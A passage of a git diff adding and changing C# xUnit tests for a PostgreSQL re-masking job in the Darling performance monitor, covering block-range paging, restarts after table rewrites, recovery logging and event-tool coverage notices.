+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+
+        /* One raw finding first, one half way through the bulk, three after it. */
+        await PgDeadlockRemaskTests.PlantFindingAsync(connection, 1, at, drillDown, story, ct);
+        await SeedBulkAsync(connection, 100, 100 + BulkFindings / 2 - 1, at, ct);
+        await PgDeadlockRemaskTests.PlantFindingAsync(connection, 2, at, drillDown, story, ct);
+        await SeedBulkAsync(connection, 100 + BulkFindings / 2, 100 + BulkFindings - 1, at, ct);
+        for (var id = 3; id <= 5; id++)
+        {
+            await PgDeadlockRemaskTests.PlantFindingAsync(connection, 1_000_000 + id, at, drillDown, story, ct);
+        }
+
+        await ExecuteAsync(connection, "ANALYZE analysis_findings", ct);
+        var blocks = await ScalarAsync(connection, "SELECT pg_relation_size('analysis_findings') / current_setting('block_size')::bigint", ct);
+        var blocksPerPass = (long)PgDeadlockRemask.FindingBlocksPerPass;
+        Assert.True(blocks > 4 * blocksPerPass, $"the table must span several pages; it has {blocks} blocks");
+
+        /* One page reads at most its block range, by a TID Range Scan. */
+        var emptyStart = 2 * blocksPerPass;
+        var (planType, buffers) = await ExplainPageAsync(connection, emptyStart, ct);
+        Assert.Equal("Tid Range Scan", planType);
+        TestContext.Current.TestOutputHelper?.WriteLine(
+            $"analysis_findings: {blocks} blocks; page range {blocksPerPass} blocks; bound {blocksPerPass + PageBufferSlack}; least buffers over {ExplainRuns} runs: {buffers}");
+        /* The bound must stay meaningful: a page that scanned the whole table would read `blocks`, and the bound has to sit
+           well under that, or the check below could not tell a bounded page from a whole-table one. */
+        Assert.True(
+            (blocksPerPass + PageBufferSlack) * 2 < blocks,
+            $"the bound ({blocksPerPass + PageBufferSlack} buffers) is not well under a whole-table read ({blocks} blocks)");
+        Assert.True(buffers <= blocksPerPass + PageBufferSlack, $"a page read {buffers} buffers at least; its range is {blocksPerPass} blocks (table: {blocks} blocks)");
+
+        /* The page that matches nothing: the cursor still moves, by the block range. */
+        var (afterEmpty, emptyExamined, emptyRewritten, _) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, emptyStart, null, ct);
+        Assert.Equal(0, emptyExamined);
+        Assert.Equal(0, emptyRewritten);
+        Assert.Equal(emptyStart + blocksPerPass, afterEmpty);
+
+        /* The whole walk: every page moves on, the raw findings are all rewritten, and the walk ends. */
+        long? cursor = null;
+        var pages = 0;
+        var examined = 0;
+        var rewritten = 0;
+        var raced = 0;
+        do
+        {
+            var (next, e, w, r) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, cursor, null, ct);
+            Assert.True(next is null || next > (cursor ?? -1), "the cursor must move on every page");
+            pages++;
+            examined += e;
+            rewritten += w;
+            raced += r;
+            cursor = next;
+        }
+        while (cursor is not null);
+
+        Assert.Equal(5, examined);
+        Assert.Equal(5, rewritten);
+        Assert.Equal(0, raced);
+        Assert.InRange(pages, (int)((blocks + blocksPerPass - 1) / blocksPerPass), (int)((blocks + blocksPerPass - 1) / blocksPerPass) + 1);
+
+        /* A second walk finds the stamped findings done. */
+        cursor = null;
+        var again = 0;
+        do
+        {
+            var (next, e, w, _) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, cursor, null, ct);
+            again += e + w;
+            cursor = next;
+        }
+        while (cursor is not null);
+
+        Assert.Equal(0, again);
+        Assert.Equal(
+            0L,
+            await ScalarAsync(connection, "SELECT count(*) FROM analysis_findings WHERE story_text LIKE '%4721%' OR drill_down_json LIKE '%4111111111111111%'", ct));
+    }
+
+    /// <summary>A table rewrite (<c>VACUUM FULL</c>, <c>CLUSTER</c>, <c>pg_repack</c>) between two pages sends the walk
+    /// back to block 0 (#5625): it packs live rows toward the start of a new file, so a raw finding that sat past the
+    /// cursor can land before it and would never be read. Here the early rows are deleted, then the table is rewritten
+    /// after the first page, which moves the last finding from beyond the cursor to inside the first page's range.</summary>
+    [Fact]
+    public async Task ATableRewriteMidWalk_SendsTheWalkBackToBlockZero_AndTheMovedFindingIsRewritten()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live findings paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var at = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified);
+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+        await PgDeadlockRemaskTests.PlantFindingAsync(connection, 1, at, drillDown, story, ct);
+        await SeedBulkAsync(connection, 100, 100 + 100_000, at, ct);
+        await PgDeadlockRemaskTests.PlantFindingAsync(connection, 2, at, drillDown, story, ct);
+        var blocks = await ScalarAsync(connection, "SELECT pg_relation_size('analysis_findings') / current_setting('block_size')::bigint", ct);
+        var blocksPerPass = (long)PgDeadlockRemask.FindingBlocksPerPass;
+        Assert.True(blocks > blocksPerPass + 100, $"the table must span two pages; it has {blocks} blocks");
+        await ExecuteAsync(connection, "DELETE FROM analysis_findings WHERE finding_id BETWEEN 100 AND 100 + 99000", ct);
+
+        var walk = new PgDeadlockRemask.FindingWalk();
+        var (first, firstExamined, firstRewritten, _) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, null, null, walk, ct);
+        Assert.Equal(blocksPerPass, first);
+        Assert.Equal(1, firstExamined);
+        Assert.Equal(1, firstRewritten);
+        Assert.NotNull(walk.Filenode);
+        Assert.False(walk.Restarted);
+        var fileBefore = walk.Filenode;
+
+        await ExecuteAsync(connection, "VACUUM FULL analysis_findings", ct);
+
+        /* The next page sees another file: nothing is read, the cursor is block 0, and the walk is marked. */
+        var (back, backExamined, backRewritten, _) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, first, null, walk, ct);
+        Assert.Equal(0L, back);
+        Assert.Equal(0, backExamined);
+        Assert.Equal(0, backRewritten);
+        Assert.True(walk.Restarted);
+        Assert.NotEqual(fileBefore, walk.Filenode);
+
+        /* The restarted walk reaches the moved finding and ends; the file no longer changes under it. */
+        long? cursor = back;
+        var rewritten = 0;
+        var pages = 0;
+        do
+        {
+            var (next, _, w, _) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, cursor, null, walk, ct);
+            Assert.False(walk.Restarted);
+            rewritten += w;
+            cursor = next;
+            Assert.True(++pages < 20, "the walk must end");
+        }
+        while (cursor is not null);
+
+        Assert.Equal(1, rewritten);
+        Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM analysis_findings WHERE story_text LIKE '%4721%' OR drill_down_json LIKE '%4111111111111111%'", ct));
+    }
+
+    /// <summary>The stage counts a walk that was restarted by a table rewrite as cut short: it is walked once more
+    /// before the stage is done (#5625). The cursor and file are set as if a walk had begun in another file.</summary>
+    [Fact]
+    public async Task AWalkRestartedByATableRewrite_IsNotTheCleanWalkTheStageIsDoneAfter()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live findings paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var progress = new PgDeadlockRemask.RemaskProgress { FindingCursor = 2048, FindingFilenode = -1 };
+        progress.Alerts.Done = true;
+        progress.Reports.Done = true;
+        progress.AlertKeys.Done = true;
+        progress.FindingAlerts.Done = true;
+        await PgDeadlockRemask.RunAsync(connection, progress, null, Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+
+        Assert.True(progress.Findings.Done);
+        Assert.Equal(2, progress.Findings.Walks);
+        Assert.Null(progress.FindingCursor);
+        Assert.Null(progress.FindingFilenode);
+    }
+
+    /// <summary>An empty table, and a cursor past the table's end, end the walk at once with nothing examined.</summary>
+    [Fact]
+    public async Task AnEmptyTable_AndACursorPastTheEnd_EndTheWalk()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live findings paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        Assert.Equal(((long?)null, 0, 0, 0), await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, null, null, ct));
+
+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+        await PgDeadlockRemaskTests.PlantFindingAsync(connection, 1, new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified), drillDown, story, ct);
+        Assert.Equal(((long?)null, 0, 0, 0), await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, 1_000_000, null, ct));
+
+        /* From the start the one raw finding is found, rewritten, and the walk ends in the same page. */
+        var (next, examined, rewritten, raced) = await PgDeadlockRemask.RemaskStoredFindingsAsync(connection, null, null, ct);
+        Assert.Null(next);
+        Assert.Equal(1, examined);
+        Assert.Equal(1, rewritten);
+        Assert.Equal(0, raced);
+    }
+
+    private static async Task SeedBulkAsync(NpgsqlConnection connection, long first, long last, DateTime at, CancellationToken ct)
+    {
+        /* Server-side, small rows: findings no stage looks into (no deadlock key on the chain). */
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO analysis_findings
+    (finding_id, analysis_time, server_id, server_name, severity, confidence, category, story_path, story_path_hash, story_text, root_fact_key, fact_count)
+SELECT i, $3, $4, 'example-pg-01', 0.5, 1, 'waits', 'wait_stats → cpu', 'h' || (i % 1000), repeat('x', 60), 'wait_stats', 1
+FROM generate_series($1::bigint, $2::bigint) AS i", connection);
+        command.Parameters.Add(new NpgsqlParameter { Value = first, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Bigint });
+        command.Parameters.Add(new NpgsqlParameter { Value = last, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Bigint });
+        command.Parameters.Add(new NpgsqlParameter { Value = at, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp });
+        command.Parameters.Add(new NpgsqlParameter { Value = ServerId, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>The plan of the page that reads <c>[from, from + K)</c>: the scan node's type and the buffers the
+    /// statement touched.</summary>
+    private static async Task<(string ScanType, long Buffers)> ExplainPageAsync(NpgsqlConnection connection, long from, CancellationToken ct, bool warmUp = true)
+    {
+        if (warmUp)
+        {
+            /* The first run of the page's operators in a backend reads catalog pages (types, operators, collations)
+               that the statement's own buffer count then includes: about 50 on a connection the pool has just opened.
+               Run the page once, so the bound below measures the scan. */
+            await using var warm = new NpgsqlCommand(PgDeadlockRemask.FindingPageSql, connection);
+            warm.Parameters.Add(new NpgsqlParameter { Value = string.Create(CultureInfo.InvariantCulture, $"({from},0)"), NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+            warm.Parameters.Add(new NpgsqlParameter { Value = string.Create(CultureInfo.InvariantCulture, $"({from + PgDeadlockRemask.FindingBlocksPerPass},0)"), NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+            await using var warmReader = await warm.ExecuteReaderAsync(ct);
+            while (await warmReader.ReadAsync(ct))
+            {
+            }
+        }
+
+        /* The least buffer count over ExplainRuns runs of the same page. The extra reads a run carries are catalog pages,
+           and they vary from run to run: a catalog cache reset (another test class creating and dropping databases on
+           the same server) can bring them back after the warm-up above. A page that scans the whole table reads all of
+           it on every run, so the least of the runs still catches that, and a run's catalog reads cannot fail the bound. */
+        var scanType = string.Empty;
+        var least = long.MaxValue;
+        for (var run = 0; run < ExplainRuns; run++)
+        {
+            await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + PgDeadlockRemask.FindingPageSql, connection);
+            command.Parameters.Add(new NpgsqlParameter { Value = string.Create(CultureInfo.InvariantCulture, $"({from},0)"), NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+            command.Parameters.Add(new NpgsqlParameter { Value = string.Create(CultureInfo.InvariantCulture, $"({from + PgDeadlockRemask.FindingBlocksPerPass},0)"), NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+            var json = (string)(await command.ExecuteScalarAsync(ct))!;
+            using var document = JsonDocument.Parse(json);
+            var root = document.RootElement[0].GetProperty("Plan");
+
+            var scans = new List<string>();
+            void Walk(JsonElement node)
+            {
+                var type = node.GetProperty("Node Type").GetString()!;
+                if (type.EndsWith("Scan", StringComparison.Ordinal))
+                {
+                    scans.Add(type);
+                }
+
+                if (node.TryGetProperty("Plans", out var children))
+                {
+                    foreach (var child in children.EnumerateArray())
+                    {
+                        Walk(child);
+                    }
+                }
+            }
+
+            Walk(root);
+            var thisScan = string.Join("+", scans);
+            Assert.True(run == 0 || thisScan == scanType, $"the page's plan changed between runs: {scanType} then {thisScan}");
+            scanType = thisScan;
+            least = Math.Min(least, root.GetProperty("Shared Hit Blocks").GetInt64() + root.GetProperty("Shared Read Blocks").GetInt64());
+        }
+
+        return (scanType, least);
+    }
+
+    /// <summary>How many times <see cref="ExplainPageAsync"/> runs the page; the least buffer count of them is kept.</summary>
+    private const int ExplainRuns = 3;
+
+    /// <summary>Buffers a page may read beyond its block range: the catalog pages a run can still read after the warm-up.</summary>
+    private const int PageBufferSlack = 128;
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+}
diff --git a/Darling/Darling.Tests/PgDeadlockRemaskTests.cs b/Darling/Darling.Tests/PgDeadlockRemaskTests.cs
index 0103f0ea80..4d94073004 100644
--- a/Darling/Darling.Tests/PgDeadlockRemaskTests.cs
+++ b/Darling/Darling.Tests/PgDeadlockRemaskTests.cs
@@ -577,7 +577,11 @@ public async Task RunAsync_WalksEveryPage_InOrder_AndIsDoneOnlyAfterACleanWalk()
         await PlantAlertAsync(connection, now.AddDays(-1), null, goneJson, ct);
         var behind = new PgDeadlockRemask.RemaskProgress();
         behind.Alerts.WalkRewritten = 1;
-        behind.AlertCursor = DateTime.Parse(await ScalarTextAsync(connection, "SELECT to_char(max(alert_time), 'YYYY-MM-DD\"T\"HH24:MI:SS.US') FROM config_alert_log", ct), CultureInfo.InvariantCulture);
+        /* Just past every alert in the walk's order: the last server, its deadlock metric, the newest alert_time. */
+        behind.AlertCursor = new PgDeadlockRemask.AlertLogCursor(
+            int.Parse(await ScalarTextAsync(connection, "SELECT max(server_id)::text FROM config_alert_log", ct), CultureInfo.InvariantCulture),
+            AlertEngine.DeadlockWatermarkMetric,
+            DateTime.Parse(await ScalarTextAsync(connection, "SELECT to_char(max(alert_time), 'YYYY-MM-DD\"T\"HH24:MI:SS.US') FROM config_alert_log", ct), CultureInfo.InvariantCulture));
         await PgDeadlockRemask.RunAsync(connection, behind, s_key, NullLoggerFor(), ct);
         Assert.True(behind.Alerts.Done);
         Assert.Equal(3, behind.Alerts.Walks);
@@ -669,6 +673,74 @@ public async Task AFailingStage_BacksOff_IsCapped_AndDoesNotStarveTheOthers()
         Assert.False(progress.Pending);
     }
 
+    /// <summary>
+    /// #5634: a stage that fails twice and then succeeds logs ONE information line naming the stage and the two
+    /// failed passes; the warnings stop at the last failure, so without it nothing says the stage came back.
+    /// </summary>
+    [Fact]
+    public async Task AStageThatRecoversAfterFailures_LogsOneRecoveryLine_WithTheFailureCount()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live deadlock re-mask test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenMigratedAsync(scratch.ConnectionString, ct);
+        await PlantRawReportsAsync(connection, 5, DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified).AddDays(-2), ct);
+
+        /* The alert stage's table is away for two passes (the second waits one tick out), then back. */
+        await ExecuteAsync(connection, "ALTER TABLE config_alert_log RENAME TO config_alert_log_away", ct);
+        var logger = new CountingLogger();
+        var progress = new PgDeadlockRemask.RemaskProgress();
+        await TickAsTheWorkerAsync(connection, progress, s_key, logger, ct);
+        await TickAsTheWorkerAsync(connection, progress, s_key, logger, ct);
+        Assert.Equal(2, progress.Alerts.ConsecutiveFailures);
+        Assert.DoesNotContain(logger.Informations, line => line.Contains("recovered", StringComparison.Ordinal));
+
+        await ExecuteAsync(connection, "ALTER TABLE config_alert_log_away RENAME TO config_alert_log", ct);
+        for (var tick = 0; tick < 6 && progress.Pending; tick++)
+        {
+            await TickAsTheWorkerAsync(connection, progress, s_key, logger, ct);
+        }
+
+        Assert.Equal(0, progress.Alerts.ConsecutiveFailures);
+
+        /* The other two alert-table stages fail on the same missing table, so each logs its own line, once. */
+        var recovered = Assert.Single(logger.Informations, line => line.Contains("stored alert rows recovered", StringComparison.Ordinal));
+        Assert.Contains("2 earlier", recovered, StringComparison.Ordinal);
+        Assert.All(progress.Stages, stage => Assert.True(
+            logger.Informations.Count(line => line.Contains($"stored {stage.Name} rows recovered", StringComparison.Ordinal)) <= 1, stage.Name));
+    }
+
+    /// <summary>
+    /// #5634: a stage that never failed logs no recovery line on a clean pass.
+    /// </summary>
+    [Fact]
+    public async Task ACleanPassWithNoEarlierFailure_LogsNoRecoveryLine()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live deadlock re-mask test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenMigratedAsync(scratch.ConnectionString, ct);
+        await PlantRawReportsAsync(connection, 5, DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified).AddDays(-2), ct);
+
+        var logger = new CountingLogger();
+        var progress = new PgDeadlockRemask.RemaskProgress();
+        for (var tick = 0; tick < 6 && progress.Pending; tick++)
+        {
+            await TickAsTheWorkerAsync(connection, progress, s_key, logger, ct);
+        }
+
+        Assert.True(progress.Done);
+        Assert.Equal(0, logger.Warnings);
+        Assert.NotEmpty(logger.Informations);
+        Assert.DoesNotContain(logger.Informations, line => line.Contains("recovered", StringComparison.Ordinal));
+    }
+
     /// <summary>
     /// #4036's round-2 review, finding 2(b): an alert stage that fails once (no ticks skipped) must not let the
     /// reports run in that tick. A report rewritten before its alert is rebuilt leaves the alert naming a hash no
@@ -1068,7 +1140,8 @@ public void NoStatementBindsARawReportHash()
         }
 
         Assert.DoesNotContain("unnest(", PgDeadlockRemask.AlertPageSql, StringComparison.Ordinal);
-        Assert.DoesNotContain("$3", PgDeadlockRemask.AlertPageSql, StringComparison.Ordinal);
+        /* #5625: the slice is one server's ($1), after a time ($2), for a page size ($3); no fourth parameter carries a key. */
+        Assert.DoesNotContain("$4", PgDeadlockRemask.AlertPageSql, StringComparison.Ordinal);
         Assert.Contains("regexp_matches(p.context_json", PgDeadlockRemask.AlertPageSql, StringComparison.Ordinal);
     }
 
@@ -1393,7 +1466,7 @@ await PlantFindingAsync(connection, 1, now.AddDays(-1), legacyDrillDown, legacyS
 
     /* A finding alert as the analysis sent it before #4005 for the legacy finding: the live context builder over
        that finding, so the flattened section, its note and the frozen prose carry what they carried then. */
-    private static (string Metric, string ContextJson) LegacyFindingAlert(
+    internal static (string Metric, string ContextJson) LegacyFindingAlert(
         string drillDown, string story, string storyPathHash, DateTime? windowStart = null, DateTime? windowEnd = null)
     {
         var finding = new AnalysisFinding
@@ -1429,11 +1502,13 @@ private static string ReadSource(string relativePath)
 
     private static Microsoft.Extensions.Logging.ILogger NullLoggerFor() => Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance;
 
-    /* Counts the warnings the driver logs, one per failure. */
+    /* Counts the warnings the driver logs, one per failure, and keeps the information lines it logs (#5634). */
     private sealed class CountingLogger : Microsoft.Extensions.Logging.ILogger
     {
         public int Warnings { get; private set; }
 
+        public List<string> Informations { get; } = [];
+
         public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
 
         public bool IsEnabled(Microsoft.Extensions.Logging.LogLevel logLevel) => true;
@@ -1444,6 +1519,10 @@ public void Log<TState>(Microsoft.Extensions.Logging.LogLevel logLevel, Microsof
             {
                 Warnings++;
             }
+            else if (logLevel == Microsoft.Extensions.Logging.LogLevel.Information)
+            {
+                Informations.Add(formatter(state, exception));
+            }
         }
     }
 
@@ -1545,8 +1624,6 @@ private static async Task<Reads> ReadEverythingAsync(NpgsqlDataSource postgres,
         command.Parameters.AddWithValue(now.AddDays(-10));
         command.Parameters.AddWithValue(now);
         command.Parameters.AddWithValue(PgTargetDrillDownCollector.DeadlockExemplarCap);
-        command.Parameters.AddWithValue(PgDeadlockLogParser.NormalizeReadCap);
-        command.Parameters.AddWithValue(PgDeadlockLogParser.NormalizeReadCap);
         command.Parameters.AddWithValue(EventWindowFloor.For(now.AddDays(-10)));
         await using var reader = await command.ExecuteReaderAsync(ct);
         while (await reader.ReadAsync(ct))
@@ -1564,7 +1641,7 @@ private static async Task<Reads> ReadEverythingAsync(NpgsqlDataSource postgres,
     private static async Task<(int Alerts, int Findings, int Reports, int Failed)> RunPassAsync(NpgsqlConnection connection, CancellationToken ct)
     {
         int alerts = 0, findings = 0, reports = 0, failed = 0;
-        DateTime? alertCursor = null;
+        PgDeadlockRemask.AlertLogCursor? alertCursor = null;
         do
         {
             var (next, _, rewritten, raced) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, alertCursor, s_key, true, null, ct);
@@ -1641,7 +1718,7 @@ await DumpAsync(connection, "SELECT concat_ws('|', deadlock_hash, victim_stateme
 
     /* A finding as the analysis stored it before #4005: the exemplar's statement, fingerprint and graph raw, the
        fingerprint in its prose, and a hash over the raw graph (PgTargetDeadlockDrillDownTests' shape). */
-    private static (string DrillDown, string Story) LegacyFinding()
+    internal static (string DrillDown, string Story) LegacyFinding()
     {
         var lastSeen = new DateTime(2026, 9, 1, 12, 30, 15, 250);
         var sentence = $"Exemplars: 1 report captured. The most frequent 2-participant shape involves ShareLock on transaction with the victim `{LegacyVictimStatement}`, seen 1 time.";
@@ -1674,7 +1751,7 @@ private static string ExemplarsOf(AnalysisFinding finding)
         return section.GetProperty("exemplars").GetRawText() + "\n" + section.GetProperty("note").GetString();
     }
 
-    private static async Task PlantFindingAsync(
+    internal static async Task PlantFindingAsync(
         NpgsqlConnection connection, long findingId, DateTime analysisTime, string drillDown, string story, CancellationToken ct,
         string storyPath = PgTargetFactKeys.DeadlockRate, string storyPathHash = "h", double severity = 0.9,
         DateTime? windowStart = null, DateTime? windowEnd = null)
diff --git a/Darling/Darling.Tests/PgEventToolsWindowFloorLiveTests.cs b/Darling/Darling.Tests/PgEventToolsWindowFloorLiveTests.cs
new file mode 100644
index 0000000000..279971e384
--- /dev/null
+++ b/Darling/Darling.Tests/PgEventToolsWindowFloorLiveTests.cs
@@ -0,0 +1,329 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: where the data starts on Darling's two PostgreSQL event lists, <c>get_pg_deadlocks</c> and <c>get_pg_log_events</c>.
+/// Both are sparse, newest first and capped, and both window on the event's own time, so the notice is always coverage: the earlier of the
+/// coverage floor and the oldest event shown, whether or not the cap cut the page (the cap is reported by truncated). Every instant is an offset
+/// from one anchor minute, so the probe's purge edge never lands inside a window.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PgEventToolsWindowFloorLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private sealed record PgTool(string Name, string Table, string ArrayKey);
+
+    private static readonly PgTool[] Tools =
+    [
+        new("get_pg_deadlocks", "pg_deadlocks", "deadlocks"),
+        new("get_pg_log_events", "pg_log_events", "events"),
+    ];
+
+    private static string ServerOf(PgTool tool, string window) => "darling-mcp-pgevt-" + window + "-" + tool.Name.Replace('_', '-');
+
+    private static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement.Clone();
+
+    private static Task<string> CallAsync(NpgsqlDataSource postgres, PgTool tool, string server, int hours, DateTime end, int limit = 15)
+    {
+        var asOf = WebDataStartNote.FormatWindowEnd(end);
+        return tool.Name == "get_pg_deadlocks"
+            ? DarlingMcpPgDeadlockTools.GetPgDeadlocks(postgres, server, hours, limit, asOf)
+            : DarlingMcpPgLogEventTools.GetPgLogEvents(postgres, server, hours, null, null, limit, asOf);
+    }
+
+    /// <summary>A server registered at <paramref name="created"/> with three events an hour apart from <paramref name="firstEvent"/> (none when null).</summary>
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, PgTool tool, string name, DateTime created, DateTime? firstEvent, CancellationToken ct, DateTime? collectedAt = null)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DeleteAsync(connection, name, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, name, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET created_date = $2 WHERE server_id = $1", serverId, DarlingMcpTestData.Naive(created));
+        if (firstEvent is not DateTime first) return;
+
+        for (var i = 0; i < 3; i++)
+        {
+            var at = DarlingMcpTestData.Naive(first.AddHours(i));
+            var collected = collectedAt is DateTime c ? DarlingMcpTestData.Naive(c) : at;
+            if (tool.Table == "pg_deadlocks")
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO pg_deadlocks (collection_id, collection_time, server_id, server_name, occurred_at, victim_pid, participant_count, deadlock_hash, lock_modes, resources, victim_statement, graph_text)
+VALUES ($1,$2,$3,$4,$5,4242,2,$6,'ShareLock','relation','UPDATE t SET x = ?','graph')",
+                    CollectionIdGenerator.Next(), collected, serverId, name, at, "pgevt-hash-" + i);
+            }
+            else
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO pg_log_events (collection_id, collection_time, server_id, server_name, occurred_at, family, severity, message, raw_line_hash)
+VALUES ($1,$2,$3,$4,$5,'error','ERROR',$6,$7)",
+                    CollectionIdGenerator.Next(), collected, serverId, name, at, "boom " + i, "pgevt-line-" + i);
+            }
+        }
+    }
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, string name, CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        foreach (var table in new[] { "pg_deadlocks", "pg_log_events", "collection_log", "servers" })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", serverId);
+        }
+    }
+
+    private static async Task ForEachToolAsync(string window, Func<NpgsqlConnection, NpgsqlDataSource, PgTool, string, DateTime, Task> body)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live PostgreSQL event-tool test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var end = WindowFloorLiveHarness.AnchorNow();
+            foreach (var tool in Tools)
+            {
+                await body(connection, postgres, tool, ServerOf(tool, window), end);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var tool in Tools)
+                {
+                    await DeleteAsync(cleanup, ServerOf(tool, window), cleanupCt);
+                }
+            });
+        }
+    }
+
+    /// <summary>Runs <paramref name="act"/> with the probe stand-in <paramref name="probe"/> set, and clears it after.</summary>
+    private static async Task WithProbeAsync(Func<Task<DateTime?>> probe, Func<Task> act)
+    {
+        var bodySucceeded = false;
+        DarlingMcpWindowNotice.TestOnlyProbe = probe;
+        try
+        {
+            await act();
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+            {
+                DarlingMcpWindowNotice.TestOnlyProbe = null;
+                return Task.CompletedTask;
+            });
+        }
+    }
+
+    [Fact]
